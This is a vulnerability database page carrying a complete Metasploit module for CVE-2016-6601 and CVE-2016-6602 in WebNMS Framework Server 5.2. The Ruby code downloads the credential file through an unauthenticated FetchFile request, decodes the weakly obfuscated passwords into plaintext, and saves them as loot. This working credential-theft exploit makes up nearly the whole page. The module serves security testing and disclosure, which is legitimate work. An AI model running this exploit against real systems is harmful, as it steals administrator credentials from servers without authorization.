Lucene search
K

WebNMS Framework Server Credential Disclosure

🗓️ 04 Jul 2016 20:15:15Reported by Pedro Ribeiro <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 40 Views

WebNMS Server Credential Disclosure vulnerability in version 5.2 allows unauthenticated file download and weakly obfuscated password extraction

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WebNMS Framework Server 5.2 / 5.2 SP1 - Multiple Vulnerabilities
10 Aug 201600:00
zdt
Circl
CVE-2016-6601
29 May 201815:50
circl
Circl
CVE-2016-6602
29 May 201815:50
circl
CNVD
Multiple Vulnerabilities in ZOHO WebNMS Framework (CNVD-2016-06371)
14 Aug 201600:00
cnvd
CNVD
Multiple vulnerabilities in ZOHO WebNMS Framework (CNVD-2016-06372)
14 Aug 201600:00
cnvd
CVE
CVE-2016-6601
23 Jan 201721:00
cve
CVE
CVE-2016-6602
23 Jan 201721:00
cve
Cvelist
CVE-2016-6601
23 Jan 201721:00
cvelist
Cvelist
CVE-2016-6602
23 Jan 201721:00
cvelist
Exploit DB
WebNMS Framework Server 5.2/5.2 SP1 - Multiple Vulnerabilities
10 Aug 201600:00
exploitdb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WebNMS Framework Server Credential Disclosure',
        'Description' => %q{
          This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
          all user credentials. The first vulnerability is an unauthenticated file download
          in the FetchFile servlet, which is used to download the file containing the user
          credentials. The second vulnerability is that the passwords in the file are
          obfuscated with a very weak algorithm which can be easily reversed.
          This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
          Windows and Linux.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2016-6601'],
          [ 'CVE', '2016-6602'],
          [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2016/Aug/54' ]
        ],
        'DisclosureDate' => '2016-07-04'
      )
    )

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 9090]),
        OptString.new('TARGETURI', [true, 'WebNMS path', '/'])
      ],
      self.class
    )
  end

  def version_check
    begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
        'method' => 'GET',
        'vars_get' => { 'fileName' => 'help/index.html' }
      )
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
           Rex::HostUnreachable, Errno::ECONNRESET => e
      vprint_error("Failed to get Version: #{e.class} - #{e.message}")
      return
    end
    if res && res.code == 200 && !res.body.empty?
      title_string = res.get_html_document.at('title').to_s
      version = title_string.match(/[0-9]+.[0-9]+/)
      vprint_status("Version Detected = #{version}")
    end
  end

  def run
    # version check will not stop the module, but it will try to
    # determine the version and print it if verbose is set to true
    version_check
    begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
        'method' => 'GET',
        'vars_get' => { 'fileName' => 'conf/securitydbData.xml' }
      )
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
           Rex::HostUnreachable, Errno::ECONNRESET => e
      print_error("Module Failed: #{e.class} - #{e.message}")
    end

    if res && res.code == 200 && !res.body.empty?
      cred_table = Rex::Text::Table.new(
        'Header' => 'WebNMS Login Credentials',
        'Indent' => 1,
        'Columns' =>
          [
            'Username',
            'Password'
          ]
      )
      print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..."
      res.body.to_s.each_line do |line|
        # we need these checks because username and password might appear in any random position in the line
        if line.include? 'username='
          username = line.match(/username="(\w*)"/)[1]
        end
        if line.include? 'password='
          password = line.match(/password="(\w*)"/)[1]
        end
        next unless password && username

        plaintext_password = super_redacted_deobfuscation(password)
        cred_table << [ username, plaintext_password ]
        connection_details = {
          module_fullname: fullname,
          username: username,
          private_data: plaintext_password,
          private_type: :password,
          status: Metasploit::Model::Login::Status::UNTRIED
        }.merge(service_details)
        create_credential_and_login(connection_details)
      end

      print_line
      print_line(cred_table.to_s)
      loot_name = 'webnms.creds'
      loot_type = 'text/csv'
      loot_filename = 'webnms_login_credentials.csv'
      loot_desc = 'WebNMS Login Credentials'
      p = store_loot(
        loot_name,
        loot_type,
        rhost,
        cred_table.to_csv,
        loot_filename,
        loot_desc
      )
      print_status "Credentials saved in: #{p}"
      return
    end
  end

  # Returns the plaintext of a string obfuscated with WebNMS's super redacted obfuscation algorithm.
  # I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time!
  def super_redacted_deobfuscation(ciphertext)
    input = ciphertext
    input = input.gsub('Z', '000')

    base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a
    base.push 'I'
    base += 'J'.upto('Y').to_a

    answer = ''
    k = 0
    remainder = 0
    co = input.length / 6

    while k < co
      part = input[(6 * k), 6]
      partnum = ''
      startnum = false

      for i in 0...5
        isthere = false
        pos = 0
        until isthere
          if part[i] == base[pos]
            isthere = true
            partnum += pos.to_s
            if pos == 0
              if !startnum
                answer += '0'
              end
            else
              startnum = true
            end
          end
          pos += 1
        end
      end

      isthere = false
      pos = 0
      until isthere
        if part[5] == base[pos]
          isthere = true
          remainder = pos
        end
        pos += 1
      end

      if partnum.to_s == '00000'
        if remainder != 0
          tempo = remainder.to_s
          temp1 = answer[0..(tempo.length)]
          answer = temp1 + tempo
        end
      else
        answer += (partnum.to_i * 60 + remainder).to_s
      end
      k += 1
    end

    if input.length % 6 != 0
      ending = input[(6 * k)..(input.length)]
      partnum = ''
      if ending.length > 1
        i = 0
        startnum = false
        for i in 0..(ending.length - 2)
          isthere = false
          pos = 0
          until isthere
            if ending[i] == base[pos]
              isthere = true
              partnum += pos.to_s
              if pos == 0
                if !startnum
                  answer += '0'
                end
              else
                startnum = true
              end
            end
            pos += 1
          end
        end

        isthere = false
        pos = 0
        until isthere
          if ending[i + 1] == base[pos]
            isthere = true
            remainder = pos
          end
          pos += 1
        end
        answer += (partnum.to_i * 60 + remainder).to_s
      else
        isthere = false
        pos = 0
        until isthere
          if ending == base[pos]
            isthere = true
            remainder = pos
          end
          pos += 1
        end
        answer += remainder.to_s
      end
    end

    final = ''
    for k in 0..((answer.length / 2) - 1)
      final.insert(0, (answer[2 * k, 2].to_i + 28).chr)
    end
    final
  end

  def service_details
    super.merge({ service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP') }) # this should possibly be removed
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation